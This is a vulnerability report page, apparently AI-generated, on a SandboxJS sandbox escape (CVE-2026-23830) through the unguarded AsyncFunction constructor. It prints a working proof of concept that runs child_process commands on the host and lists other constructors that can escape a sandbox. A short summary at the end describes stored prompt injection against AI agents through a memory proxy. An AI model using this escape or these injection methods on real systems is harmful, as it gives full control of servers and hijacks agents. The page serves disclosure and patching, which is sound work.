CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23830

Async Abyss: Escaping SandboxJS via Forgotten Constructors

Alon Barad
Alon Barad
Software Engineer

Jan 27, 2026·5 min read·81 visits

Executive Summary (TL;DR)

SandboxJS locked the front door (`Function`) but left the side door (`AsyncFunction`) wide open. By accessing the constructor of an async arrow function, attackers can instantiate code that executes in the host's context, not the sandbox, achieving instant Remote Code Execution (RCE).

A critical oversight in SandboxJS allowed attackers to bypass the execution environment completely by leveraging the AsyncFunction constructor. While the standard Function constructor was proxied, its asynchronous sibling was left unguarded.

The Hook: Building Prisons with Duct Tape

JavaScript sandboxing is effectively an arms race between library maintainers and the ECMAScript specification. The goal of SandboxJS is simple: take untrusted code, parse it, identify the scary bits, and execute it in a padded cell where it can't touch process, require, or your AWS keys.

To achieve this, SandboxJS doesn't just run code; it dissects it. It creates an execution context that mimics the global scope but replaces dangerous natives with shimmed, safe versions. You call eval()? You get a safe eval. You call Function()? You get a safe function factory.

But here's the problem with JavaScript: there is never just one way to do anything. While the developers were busy barricading the standard Function constructor, they forgot that ECMAScript 2017 introduced a trendy new sibling: AsyncFunction. This oversight turns the entire sandbox into a suggestion rather than a rule.

The Flaw: The Invisible Constructor

The root cause of CVE-2026-23830 is a classic "allowlist miss." The library maintains a WeakMap called evals that maps native constructors to their sandboxed counterparts. When the sandbox encounters code trying to create a new function, it checks this map. If it sees the Function constructor, it redirects the call to a safe implementation.

However, the AsyncFunction constructor is not a global object you can just type into the console (like Array or Date). It is hidden. It effectively doesn't exist in the global namespace.

Because it wasn't sitting out in the open, the developers seemingly forgot it existed. They didn't add it to the evals map. This meant that if an attacker could get a reference to it, the sandbox would look at it, shrug, and say, "I don't have a rule for this, so here is the real, native host object." And just like that, the prisoner is given the keys to the warden's office.

The Code: The Smoking Gun

Let's look at src/utils.ts before the patch. The code is explicitly setting up protections for specific dangerous globals. It's almost tragic to see Function and eval being handled so carefully right next to the gaping hole.

// BEFORE FIX
if (evalContext) {
  const func = evalContext.sandboxFunction(execContext);
  evals.set(Function, func);
  // <--- The silence here is deafening.
  evals.set(eval, evalContext.sandboxedEval(func));
}

The fix involves acknowledging that AsyncFunction exists. Since it's not globally accessible by name, the patch has to perform a bit of prototype gymnastics to capture it:

// AFTER FIX (src/utils.ts)
 
// 1. Capture the elusive constructor
export const AsyncFunction: Function = Object.getPrototypeOf(async function () {}).constructor;
 
// 2. Map it to a safe version
if (evalContext) {
  const func = evalContext.sandboxFunction(execContext);
  const asyncFunc = evalContext.sandboxAsyncFunction(execContext);
  
  evals.set(Function, func);
  evals.set(AsyncFunction, asyncFunc); // <--- The door is now locked.
  evals.set(eval, evalContext.sandboxedEval(func));
}

This highlights a fundamental fragility in JS sandboxes: you have to know every possible way to generate code to stop code generation.

The Exploit: Walking the Prototype Chain

So, how do we weaponize this? We can't just type new AsyncFunction(...) because AsyncFunction isn't a global variable. But we can derive it. Every async function is an instance of AsyncFunction. By defining a throwaway async arrow function and checking its .constructor property, we get a handle on the Native Host Constructor.

Here is the step-by-step kill chain:

  1. Derive the Constructor: Create a harmless async function inside the sandbox.
  2. Steal the Reference: Access its .constructor property. Because the sandbox doesn't recognize this object in its evals map, it hands you the real host constructor.
  3. Payload Delivery: Use that constructor to build a new function containing malicious code.
  4. Execute: Run the function. It executes in the host scope, bypassing the sandbox entirely.
// The PoC - One Line of Doom
const hostProcess = await (async () => {}).constructor("return process")();
 
// Taking it further (RCE)
const rce = (async () => {}).constructor(
  "return process.mainModule.require('child_process').execSync('id').toString()"
);
 
console.log(await rce());
// Output: uid=0(root) gid=0(root) ...

This is elegant in its simplicity. No memory corruption, no race conditions, just asking JavaScript for a feature it happily provides.

The Impact: Game Over

The impact here is maximum severity. If you are using SandboxJS to run user-submitted scripts—perhaps for a plugin system, a rules engine, or a 'code playground'—you are compromised.

Because the code generated by AsyncFunction runs in the host context (the global scope where the Node.js process lives), the attacker has access to everything the host process has access to:

  • Environment Variables: AWS keys, database credentials (process.env).
  • File System: Reading SSH keys, writing backdoors (fs module via require).
  • Network: Launching reverse shells or pivoting to internal networks.

This isn't just a data leak; it is full remote server control. The CVSS score of 9.8 is well-deserved.

The Fix: Patching and Lessons Learned

The immediate fix is to upgrade SandboxJS to the version containing commit 345aee6. If you cannot upgrade, you are theoretically out of luck, as monkey-patching the library externally is difficult due to how it initializes its context maps.

For Developers & Researchers: This vulnerability serves as a reminder that Function is not the only way to generate code. When auditing sandboxes, always check for the "exotic" constructors:

  • AsyncFunction: (async()=>{}).constructor
  • GeneratorFunction: (function*(){}).constructor
  • AsyncGeneratorFunction: (async function*(){}).constructor

If the sandbox blocks Function but misses any of the above, it's game over. Defense in depth suggests that relying solely on a JS-based sandbox for high-risk code execution is inherently risky. Consider using actual isolation technologies like WebAssembly, Firecracker microVMs, or Deno sub-processes for true security.

Official Patches

nyarivCommit fixing the AsyncFunction leak

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Node.js applications using nyariv/SandboxJSSaaS platforms allowing user-defined scripts via SandboxJSRule engines executing dynamic JS logic

Affected Versions Detail

Product
Affected Versions
Fixed Version
SandboxJS
nyariv
< Commit 345aee6Commit 345aee6
AttributeDetail
CWE IDCWE-94 (Code Injection)
CVSS v3.19.8 (Critical)
Attack VectorNetwork
ImpactFull Sandbox Escape / RCE
Exploit StatusPoC Available
Affected Componentevals WeakMap / AsyncFunction Constructor

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1211Exploitation for Defense Evasion
Defense Evasion
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

Internal ResearchPoC involves accessing (async()=>{}).constructor to generate code outside the sandbox.

Vulnerability Timeline

Patch Authored and Merged
2026-01-16
Advisory GHSA-wxhw-j4hc-fmq6 Published
2026-01-27

References & Sources

  • [1]SandboxJS Repository
  • [2]GitHub Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
6 views•10 min read
•1 day ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•1 day ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•1 day ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
13 views•10 min read
•1 day ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
15 views•10 min read
•1 day ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read